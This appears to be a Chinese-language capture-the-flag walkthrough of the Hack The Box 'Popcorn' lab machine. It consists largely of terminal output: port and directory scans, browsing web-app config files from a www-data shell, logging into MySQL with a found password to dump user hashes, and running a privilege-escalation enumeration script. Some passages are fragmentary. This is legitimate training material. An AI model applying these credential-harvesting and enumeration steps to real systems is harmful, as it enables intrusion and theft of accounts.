┌─[us-vip-22]─[10.10.14.3]─[shiyan@htb-rlecfd7idm]─[~/Desktop] └──╼ [★]$ sudo nmap -p- -Pn --min-rate=10000 10.10.10.6 Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-02 12:50 GMT Nmap scan report for 10.10.10.6 Host is up (0.096s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
┌─[us-vip-22]─[10.10.14.3]─[shiyan@htb-rlecfd7idm]─[~/Desktop] └──╼ [★]$ sudo nmap -p22,80 -sV -sC --min-rate=5000 10.10.10.6 Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-02 13:02 GMT Nmap scan report for 10.10.10.6 Host is up (0.0037s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3ec81b15211550ec6e63bcc56b807b38 (DSA) |_ 2048 aa1f7921b842f48a38bdb805ef1a074d (RSA) 80/tcp open http Apache httpd 2.2.12 |_http-server-header: Apache/2.2.12 (Ubuntu) |_http-title: Did not follow redirect to http://popcorn.htb/ Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
3、这里发现了个新增域名，本地绑定下hosts
1 2 3
┌─[us-vip-22]─[10.10.14.3]─[shiyan@htb-rlecfd7idm]─[~/Desktop] └──╼ [★]$ echo"10.10.10.6 popcorn.htb" | sudo tee -a /etc/hosts 10.10.10.6 popcorn.htb
┌─[us-vip-22]─[10.10.14.3]─[shiyan@htb-rlecfd7idm]─[~/Desktop] └──╼ [★]$ dirsearch -u http://popcorn.htb/ Directory /usr/lib/python3/dist-packages/dirsearch is not writable Directory /usr/lib/python3/dist-packages/dirsearch is not writable
========================================== Greetz : Exploit-db Team all my friend :(Dz-Ghost Team ) im indoushka's sister ------------------------------------------
$ cd ../ $ ls -la total 196 drwxr-xr-x 15 www-data www-data 4096 Mar 17 2017 . drwxr-xr-x 4 www-data www-data 4096 Apr 11 2017 .. drwxr-xr-x 2 www-data www-data 4096 Jan 31 2010 PNG drwxr-xr-x 4 www-data www-data 4096 Jun 3 2007 admin -rw-r--r-- 1 www-data www-data 1704 Jun 1 2007 browse.php -rw-r--r-- 1 www-data www-data 3042 Jun 3 2007 comment.php -rw-r--r-- 1 www-data www-data 6684 Nov 21 19:26 config.php drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 css drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 database -rw-r--r-- 1 www-data www-data 125 Jan 20 2007 download.php -rw-r--r-- 1 www-data www-data 1612 Jun 3 2007 edit.php drwxr-xr-x 2 www-data www-data 4096 Jan 31 2010 health -rw-r--r-- 1 www-data www-data 3765 Mar 6 2005 hide.js drwxr-xr-x 2 www-data www-data 4096 Jan 31 2010 images -rw-r--r-- 1 www-data www-data 1604 Jun 3 2007 index.php drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 js drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 lib -rw-r--r-- 1 www-data www-data 1825 Jan 9 2007 login.php -rw-r--r-- 1 www-data www-data 329 Dec 28 2006 logout.php -rw-r--r-- 1 www-data www-data 28104 Jan 27 2010 preview.gif drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 readme -rw-r--r-- 1 www-data www-data 3307 Jun 10 2005 rss.php -rw-r--r-- 1 www-data www-data 573 Nov 29 2006 secure.php -rw-r--r-- 1 www-data www-data 6257 Mar 6 2005 sorttable.js -rw-r--r-- 1 www-data www-data 321 Nov 28 2006 stylesheet.css drwxr-xr-x 3 www-data www-data 4096 Jun 3 2007 templates -rw-r--r-- 1 www-data www-data 4190 Dec 28 2006 thumbnail.php drwxrwxrwx 2 www-data www-data 4096 Jan 2 15:44 torrents -rw-r--r-- 1 www-data www-data 7221 Jun 3 2007 torrents.php -rw-r--r-- 1 www-data www-data 539 Nov 30 2006 update_stats.php -rw-r--r-- 1 www-data www-data 986 Jun 3 2007 update_stats2.php drwxrwxrwx 2 www-data www-data 4096 Jan 2 15:55 upload -rw-r--r-- 1 www-data www-data 15087 Mar 17 2017 upload.php -rw-r--r-- 1 www-data www-data 1467 Jun 3 2007 upload_file.php drwxr-xr-x 3 www-data www-data 4096 Jan 31 2010 users -rw-r--r-- 1 www-data www-data 3548 Mar 6 2005 validator.php $ cdusers $ ls -la total 60 drwxr-xr-x 3 www-data www-data 4096 Jan 31 2010 . drwxr-xr-x 15 www-data www-data 4096 Mar 17 2017 .. -rw-r--r-- 1 www-data www-data 2204 Mar 6 2005 change_password.php -rw-r--r-- 1 www-data www-data 1753 Mar 6 2005 change_settings.php -rw-r--r-- 1 www-data www-data 680 Mar 6 2005 change_settings_form.php -rw-r--r-- 1 www-data www-data 1555 Mar 11 2005 forgot_password.php -rw-r--r-- 1 www-data www-data 701 Jul 7 2006 img.jpg -rw-r--r-- 1 www-data www-data 6891 Jan 24 2007 index.php -rw-r--r-- 1 www-data www-data 822 Jul 7 2006 php_captcha.php -rw-r--r-- 1 www-data www-data 2287 Jan 24 2007 registration.php drwxr-xr-x 2 www-data www-data 4096 Jun 3 2007 templates -rw-r--r-- 1 www-data www-data 11110 Mar 6 2005 validation_class.php $ cat change_password.php <?
include("../config.php"); require_login();
/* form has been submitted, check if it the user login information is correct */ if (match_referer() && isset($_POST)) { $frm = $_POST; $errormsg = validate_form($frm, $errors);
function validate_form(&$frm, &$errors) { /* validate the forgot password form, and return the error messages in a string. * if the string is empty, then there are no errors */
$errors = new Object; $msg = "";
if (empty($frm["oldpassword"])) { $errors->oldpassword = true; $msg .= "You did not specify your old password";
} elseif (! password_valid($frm["oldpassword"])) { $errors->oldpassword = true; $msg .= "Your old password is invalid";
} elseif (empty($frm["newpassword"])) { $errors->newpassword = true; $msg .= "You did not specify your new password";
} elseif (empty($frm["newpassword2"])) { $errors->newpassword2 = true; $msg .= "You did not confirm your new password";
} elseif ($frm["newpassword"] != $frm["newpassword2"]) { $errors->newpassword = true; $errors->newpassword2 = true; $msg .= "Your new passwords do not match"; }
return$msg; }
function password_valid($password) { /* returntrueif the user's password is valid */
/* directory configuration, if all your webtorrent.com files are in one directory * you probably only need to set the wwwroot variable. valid examples are: * * $CFG->wwwroot = "http://myserver.com/webtorrent"; * $CFG->wwwroot = "http://localhost/webtorrent"; * $CFG->wwwroot = "http://myserver.com"; * * do not include the trailing slash. dirroot is the physical path on your * server where the application can find it's files. for more security, it is * recommended that you move the libraries and templates ($CFG->libdir * and $CFG->templatedir) outside of your web directories. */
/* Edit below this */
$CFG->wwwroot = "http://popcorn.htb/torrent"; //full path to your website $CFG->forumroot = "http://www.myanmartorrents.com/phpbb"; $CFG->webname = "Torrent Hoster"; $CFG->support = "webmaster@wmyanmartorrents.com"; $CFG->rssnum = "10"; //number of rss to show $CFG->mainnews = "10"; //number of news on the main page, use 0 to not print news on main page $CFG->maintorrents= "30";//number of torrents in the main page $CFG->torrents = "$CFG->dirroot/torrents"; //torrent folder repect to your wwwroot $CFG->usesub = "yes"; //Do you want to use Subcategories? "yes" or "no" //$CFG->usephpbb = "no"; //put "yes" if you want to connect with phpbb users. "yes" or "no" << DO NOT USE IT YET $CFG->regdownload = "yes"; //only registered users can download torrents. "yes" or "no" $CFG->regupload = "yes"; //only registered users can upload torrents. "yes" or "no" /* no to change below this (i think) */
/* define database error handling behavior, since we are in development stages * we will turn on all the debugging messages to help us troubleshoot */ $DB_DEBUG = true; $DB_DIE_ON_FAIL = true;
//start session to hold username and password when linking from page to page session_start(); header("Cache-control: private"); // IE 6 Bug Fix.
//load up libraries require "lib/dblib.php"; require "lib/stdlib.php"; require "lib/webtorrent.php";
/* setup some global variables */ $ME = qualified_me();
/* connect to the database */ db_connect($CFG->host, $CFG->dbName, $CFG->dbUserName, $CFG->dbPassword);
/* Print out header *******************************************/ function stheader($title) { //global $time_begin; //$time_begin = get_micro_time();
// Get microtime function get_micro_time() { list($usec, $sec) = explode('', microtime()); return ((float)$usec + (float)$sec); }
function connect_forum($fdbhost, $fdbuser, $fdbpass, $fdatabase) { $errormes = 'The sql server has encountered a problem, we are trying to fix it as soon as possible'; @$connection = mysql_connect($fdbhost, $fdbuser, $fdbpass); @mysql_select_db($fdatabase) or die($errormes); }
function connect ($dbhost, $dbuser, $dbpass, $database) { $errormes = 'The sql server has encountered a problem, we are trying to fix it as soon as possible'; @$connection = mysql_connect($dbhost, $dbuser, $dbpass); @mysql_select_db($database) or die($errormes); }
$ ls -la /home total 12 drwxr-xr-x 3 root root 4096 Mar 17 2017 . drwxr-xr-x 21 root root 4096 Jan 2 14:48 .. drwxr-xr-x 3 george george 4096 Oct 26 14:57 george $ ls -la /home/george total 860 drwxr-xr-x 3 george george 4096 Oct 26 14:57 . drwxr-xr-x 3 root root 4096 Mar 17 2017 .. lrwxrwxrwx 1 george george 9 Oct 26 2020 .bash_history -> /dev/null -rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout -rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache -rw-r--r-- 1 george george 675 Mar 17 2017 .profile -rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful -rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip -rw-r--r-- 1 george george 33 Jan 2 14:48 user.txt $ cat /home/george/user.txt 46716af63b9b0e4f27387e81f451e5da $
$ $ mysql -u 'torrent' --password='SuperSecret!!' -e 'show databases' Database information_schema torrenthoster $ mysql -u 'torrent' --password='SuperSecret!!' -D torrenthoster -e 'show tables > ' Tables_in_torrenthoster ban categories comments log namemap news subcategories users $ mysql -u 'torrent' --password='SuperSecret!!' -D torrenthoster -e 'users' ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'users' at line 1 $ mysql -u 'torrent' --password='SuperSecret!!' -D torrenthoster -e 'describe users' Field Type Null Key Default Extra id int(10) unsigned NO PRI NULL auto_increment userName varchar(40) NO UNI password varchar(40) NO privilege varchar(10) NO email varchar(30) NO joined datetime NO 0000-00-00 00:00:00 lastconnect datetime NO 0000-00-00 00:00:00 $ mysql -u 'torrent' --password='SuperSecret!!' -D torrenthoster 'select userName,password from users' ERROR 1044 (42000): Access denied for user 'torrent'@'localhost' to database 'select userName,password from users' $ mysql -u 'torrent' --password='SuperSecret!!' -D torrenthoster -e 'select userName,password from users' userName password Admin d5bfedcee289e5e05b86daad8ee3e2e2 test 098f6bcd4621d373cade4e832627b4f6 $
22、但是 admin 密码无法破解，我又使用数据的密码，去ssh 登录 george ，发现也是无法登录，初始命令行里，使用su也无法切换，说明这个密码是不对的。
┌──(kali㉿kali)-[~/桌面] └─$ ssh george@10.10.10.6 Unable to negotiate with 10.10.10.6 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
┌──(kali㉿kali)-[~/桌面] └─$ ssh -oHostKeyAlgorithms=+ssh-dss george@10.10.10.6 The authenticity of host '10.10.10.6 (10.10.10.6)' can't be established. DSA key fingerprint is SHA256:aioUHN0baIWMqg/K4OfQoSDFWO0jbTlod7tSnXT8YrM. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.6' (DSA) to the list of known hosts. george@10.10.10.6's password: Permission denied, please try again. george@10.10.10.6's password: Permission denied, please try again. george@10.10.10.6's password: george@10.10.10.6: Permission denied (publickey,password).
$ su george su: must be run from a terminal $ su - george su: must be run from a terminal $
23、然后我又去 george 的根目录里一顿翻阅，结果还是什么都没发现（记重点，这里粗心了，没有一一翻阅文件，只是大体上看了一遍）
$ pwd /home/george $ ls -la total 860 drwxr-xr-x 3 george george 4096 Oct 26 14:57 . drwxr-xr-x 3 root root 4096 Mar 17 2017 .. lrwxrwxrwx 1 george george 9 Oct 26 2020 .bash_history -> /dev/null -rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout -rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache -rw-r--r-- 1 george george 675 Mar 17 2017 .profile -rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful -rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip -rw-r--r-- 1 george george 33 Jan 2 14:48 user.txt $ cat .sudo_as_admin_successful $ .profile sh: .profile: not found $ cat .profile # ~/.profile: executed by the command interpreter for login shells. # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login # exists. # see /usr/share/doc/bash/examples/startup-files for examples. # the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package. #umask 022
# if running bash if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
# set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi $ $
$ ls LinEnum.sh f vgauthsvclog.txt.0 vmware-root $
$ chmod +x ./LinEnum.sh $ ./LinEnum.sh
######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.982
[-] Debug Info [+] Thorough tests = Disabled
Scan started at: Tue Jan 2 16:31:18 EET 2024
### SYSTEM ############################################## [-] Kernel information: Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
[-] Kernel information (continued): Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
[-] Specific release information: DISTRIB_ID=Ubuntu DISTRIB_RELEASE=9.10 DISTRIB_CODENAME=karmic DISTRIB_DESCRIPTION="Ubuntu 9.10"
[-] Hostname: popcorn
### USER/GROUP ########################################## [-] Current user/group info: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[-] Users that have previously logged onto the system: Username Port From Latest root pts/0 10.10.14.23 Tue Nov 21 19:24:41 +0200 2023 george tty1 Fri May 5 23:12:20 +0300 2017
[-] Who else is logged on: 16:31:18 up 1:43, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] It looks like we have some admin users: uid=1000(george) gid=1000(george) groups=1000(george),4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin)
[-] Accounts that have recently used sudo: /home/george/.sudo_as_admin_successful
[-] Are permissions on /home directories lax: total 12K drwxr-xr-x 3 root root 4.0K Mar 17 2017 . drwxr-xr-x 21 root root 4.0K Jan 2 14:48 .. drwxr-xr-x 3 george george 4.0K Oct 26 14:57 george
[-] Root is allowed to login via SSH: PermitRootLogin yes
[-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
[-] Default route: default via 10.10.10.2 dev eth0 metric 100
[-] Listening TCP: Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
[-] Listening UDP: Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:68 0.0.0.0:* -
[-] Installed compilers: ii g++ 4:4.4.1-1ubuntu2 The GNU C++ compiler ii g++-4.4 4.4.1-4ubuntu9 The GNU C++ compiler ii gcc 4:4.4.1-1ubuntu2 The GNU C compiler ii gcc-4.4 4.4.1-4ubuntu9 The GNU C compiler
[-] Can we read/write sensitive files: -rw-r--r-- 1 root root 1031 Mar 17 2017 /etc/passwd -rw-r--r-- 1 root root 691 Mar 17 2017 /etc/group -rw-r--r-- 1 root root 497 Mar 17 2017 /etc/profile -rw-r----- 1 root shadow 838 Mar 17 2017 /etc/shadow
$ $ cd /home/george/ $ ls -la total 860 drwxr-xr-x 3 george george 4096 Oct 26 14:57 . drwxr-xr-x 3 root root 4096 Mar 17 2017 .. lrwxrwxrwx 1 george george 9 Oct 26 2020 .bash_history -> /dev/null -rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout -rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache -rw-r--r-- 1 george george 675 Mar 17 2017 .profile -rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful -rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip -rw-r--r-- 1 george george 33 Jan 2 14:48 user.txt $ cd .cache $ ls -la total 8 drwxr-xr-x 2 george george 4096 Mar 17 2017 . drwxr-xr-x 3 george george 4096 Oct 26 14:57 .. -rw-r--r-- 1 george george 0 Mar 17 2017 motd.legal-displayed $ cat motd.legal-displayed $
